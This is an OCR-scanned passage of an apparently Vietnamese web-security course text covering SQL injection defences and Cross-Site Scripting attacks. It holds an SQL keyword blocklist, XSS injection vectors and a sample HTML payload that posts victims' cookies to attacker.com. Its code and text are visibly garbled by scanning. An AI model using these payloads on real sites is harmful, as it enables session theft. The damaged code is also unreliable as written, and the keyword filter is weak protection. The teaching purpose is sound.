Để phịng tránh nguy cơ cĩ thể xảy ra, hãy bảo vệ các câu lệnh SQL là bằng cách kiểm sốt chặt chế tất các dỮ liệu nhập nhận được từ đối tượng Request (Request, Request. QueryString, Request.Form, Request.Cookies,and Request.ServerVariables). Ví dỤ: cĩ thể giới hạn chiều dài của chuổi nhập liệu,
hoặc xây dựng hàm Escape Quotes để thay thế các dấu nháy đơn bằng hai dấu nháy đơn nhƯ:
<% Eunction EscapeQuotes(sÏInput) sInput = replace(sInput, " ' ", EscapeQuotes = sÏnput End Function %>
Trong trường hợp dữ liệu nhập vào là số, lỗi xuất phát từ việc thay thế một giá trị được tiên đốn là dữ liệu số bằng chuỗi chứa câu lệnh SQL bất hợp pháp. Để tránh điều này, đơn giản hãy kiểm tra dữ liệu cĩ đúng hay khơng bằng hàm IsNumeric().
Ngồi ra cĩ thể xây dựng hàm loại bổ một số kí tự và từ khĩa nguy hiểm
nhƯ: ;,--, select, insert, xp_,...ra khỏi chuối dữ liệu nhập từ phía người dùng để
hạn chế các tấn cơng dạng này: <%
Eunction KillChars(sInput) dim badChars
din newChars
badChars = array(select”, "drop”, ";", "--", "insert”, “delete”", "xp_”)
newChars = strlnput
for ¡ = 0 to uBound(badChars)
newChars = replace(newChars, badChars(ï), "")
neXt
KillChars = newChars End Function
%>
b. Thiết lập cấu hình an tồn cho hệ quản trị cơ sở dữ liệu
Cần cĩ cơ chế kiểm sốt chặt chễ và giới hạn quyền xữỮ lí dữ liệu đến tài khoản người dùng mà Ứng dụng web dang sử dụng. Các Ứng dụng thơng thường nên tránh dùng đến các quyền như dbo hay sa. Quyền càng bị hạn chế, thiệt hại càng Ít.
Ngồi ra để tránh các nguy cơ tỪ SQL Injection attack, nên chú ý loại bỏ bất kì thơng tin kỹ thuật nào chứa trong thơng điệp chuyển xuống cho người dùng khi ứng dụng cĩ lỗi. Các thơng báo lỗi thơng thường tiết lệ các chỉ tiết kỈ thuật cĩ thể cho phép kẻ tấn cơng biết được điểm yếu của hệ thống.
Xác định các phương pháp kết nối server :
> Dùng tiện ích Network Utility để kiểm tra rằng chỉ cĩ các thư viện mạng đang là hoạt động.
> Kiểm ra tất cả các tài khoản trong SQL server > Chỉ tạo tài khoản cĩ quyền thấp cho các Ứng dụng.
Loại bỏ nhỮng tài khoản khơng cần thiết.
Đảm bảo rằng tất cả các tài khoản co một mật khẩu hợp lệ.
Kiểm tra các đối tượng tồn tại
V
VY
VY
Y
Nhiều extended stored procedure cĩ thể được xĩa bỏ một cách an tồn. Nếu điều này được thực hiện, thì cũng xem xét việc loại bỏ luơn những tập tin. DI] chứa mã của extended stored procedure.
Y Xĩa bỏ tất cả dữ liệu mẫu như “northwind” và “pubs” (adsbygoogle = window.adsbygoogle || []).push({});
> Xĩa các stored procedure khơng dùng như: master...xp_cmdsell, Xp_ startmail, xp_makewebtask.
> Kiểm tra những tài khoản nào cĩ thể truy xuất đến những đối tượng nào
> Đối với những tài khoản của một ứng dụng nào đĩ dùng để truy xuất cơ sở dữ liệu thì chỉ được cấp nhữỮng quyền hạn cần thiết tối thiểu để truy xuất đến những đối tượng nĩ cần dung.
>
2.2.2 Chèn mã lệnh thực thi trên trình duyệt Cross-Site Scripting 2.2.2.1 Tấn cơng Cross-Site Scripting
Cross-Site Scripting (XSS) là một trong những kỹ thuật tấn cơng phổ biến, nĩ cũng là mỘt trong nhỮng vấn đề bảo mật quan trọng đối với các nhà phát triển Web và cả những người sử dụng Web. Bất kì một Website nào cho phép người sử dụng đăng thơng tin mà khơng cĩ sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều cĩ thể tiềm ẩn các lỗi XSS.
Hacker sẽ lợi dụng sự kiểm tra lỏng lẻo từ Ứng dụng và hiểu biết hạn chế của người dùng cũng như biết đánh vào sự tị mị của họ dẫn đến người dùng bị mất thơng tin một cách dễ dàng. Hacker thực hiện tấn cơng XSS bằng cách chèn
vào các Website động (ASP, PHP, CGI, JSP,...) những thẻ HTML hay nhữỮng đoạn mã script nguy hiểm cĩ thể gây hại cho nhỮng người sử dụng khác.
Thơng thường hacker lợi dụng địa chỉ URL để đưa ra những liên kết là tác nhân kích hoạt nhỮng đoạn chương trình nguy hiểm được chèn vào, hầu hết được viết bằng các Client-Site Script như JavaScript, Jscript và cũng cĩ thể là cả các thẻ HTML,... được thực thi trên chính trình duyệt của nạn nhân.
Ví dụ 1: Hacker thường gắn thêm đoạn mã độc vào URL của Website và gởi đến nạn nhân, nếu nạn nhân truy cập URL đĩ thì sẽ bị dính mã độc.
http://example.com/search.cgi?
query=<script>alert(document.cookie);</script>
Lợi dụng cách truyền tham số trên URL mà hacker cĩ thể dễ dàng thêm vào đoạn mã đánh cắp cookie. Điều này xảy ra do ta khơng chú ý điều kiện lọc input từ URL của Website.
Ví dụ 2: Trường hợp mở các bức thư mà khơng hề cảnh giác với XSS. Chỉ cần với một đoạn mã HTML gửi trong thư thì đã hồn tồn bị mất cookie của mình:
Khi nhận thư, nếu vơ tình người dùng đưa con chuột qua bức ảnh gửi kèm thì cũng cĩ nghĩa là đã bị lấy mất cookie. Và với cookie lấy được, các hacker cĩ thể dễ dàng login hịm thư của người sử dụng này.
<fomm action="http://attacker.com/save.asp” method=”post” nane="XSS”> <input type="hidden” name="cookie"”>
</form>
<img border=”0” onmouseover =”window.document .XSS.cookie.value = document.cookie; window.document .XSS.submit(Q;” src=”anh.]pg">
Nhưng thực sự thì cĩ rất nhiều cách để thêm đoạn mã JavaScript với mục đích tấn cơng kiểu XSS. Hacker cĩ thể. dễ dàng lợi dụng Document Object Model (DOM) để thay đổi ngữ cảnh và nội dụng Web ứng dụng. Một vài loại thẻ cĩ thể chèn đoạn mã:
<link rel="stylesheet" type=”text/css" href="javascript:[code]”" /> <script type="text/lavascript'>[code]</script>
<scrint>[code]</script>
<iframe src="vbscript:[code]" /2> <img src="[eode]" />
<img src="blah" onmouseover="[code]" /> <xml src="javascript:[code]" />
Nếu như các kỹ thuật tấn cơng khác cĩ thể làm thay đổi được dữ liệu nguồn của Web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối với Website Ở phía client mà nạn nhân trực tiếp là những người khách duyỆt site đĩ.
Đơi khi các hacker cũng sử dụng kỹ thuật này đề phá hoại các Website nhưng đĩ vẫn chỉ tấn cơng vào bề mặt của Website. XSS là nhỮng Client-Side Script, những đoạn mã này sẽ chỉ chạy bởi trình duyệt phía client do đĩ XSS khơng làm ảnh hưởng đến hệ thống Website nằm trên server.
Mục tiêu tấn cơng của XSS khơng ai khác chính là những người sử dụng khác của Website, khi họ vơ tình vào các trang cĩ chứa các đoạn mã nguy hiểm do các hacker để lại họ cĩ thể bị chuyển tới các Website khác, đặt lại homepage, hay mất mật khẩu, mất cookie, hay cĩ thể sẽ bị cài các loại virus, backdoor, worm,... 2.2.2.2 Phương pháp tấn cơng XSS truyền thống
Như đã biết, cookie là phần thơng tin mà ứng dụng cĩ thể lưu trên đĩa cứng của người sử dụng. Nhưng chỉ các ứng dụng thiết lập ra cookie thì mới cĩ thể đọc nĩ. Do đĩ chỉ khi người dùng đang trong phiên làm việc của ứng dụng thì hacker mới cĩ cơ hội đánh cắp cookie. Cơng việc đầu tiên của hacker là tìm trang đích để
dụ người dùng đăng nhập sau khi đã tìm ra lỗ hổng trên ứng dụng đĩ.
File ghi thơng tin (adsbygoogle = window.adsbygoogle || []).push({});
Ứng dụng web |_ ` đánh cặăp được 5 + 4 2 3
Đoạn mã được phân Người Thơng tin người
phổi qua emailhay ‡_—— dùng ——\ dùng được lấy về trang web
Hình 2.2 Quá trình thực hiện XSS
- Bước 1: Hacker biết được người dùng đang chạy một Ứng dụng Web cĩ lỗ hổng XSS.
- Bước 2: Người dùng nhận được một liên kết thơng qua email hay trên chính trang Web (như bamner, link,...). Thơng thường, hacker khiến người dùng chú ý bằng những câu kích thích sự tị mị của người dùng như “Kiểm tra tài khoản của bạn”, “Quà tặng hấp dẫn”,...
- Bước 3: Chuyển nội dung thơng tin (cookie, tên, mật khẩu,...) về máy chủ đã
chuẩn bị trước của hacker.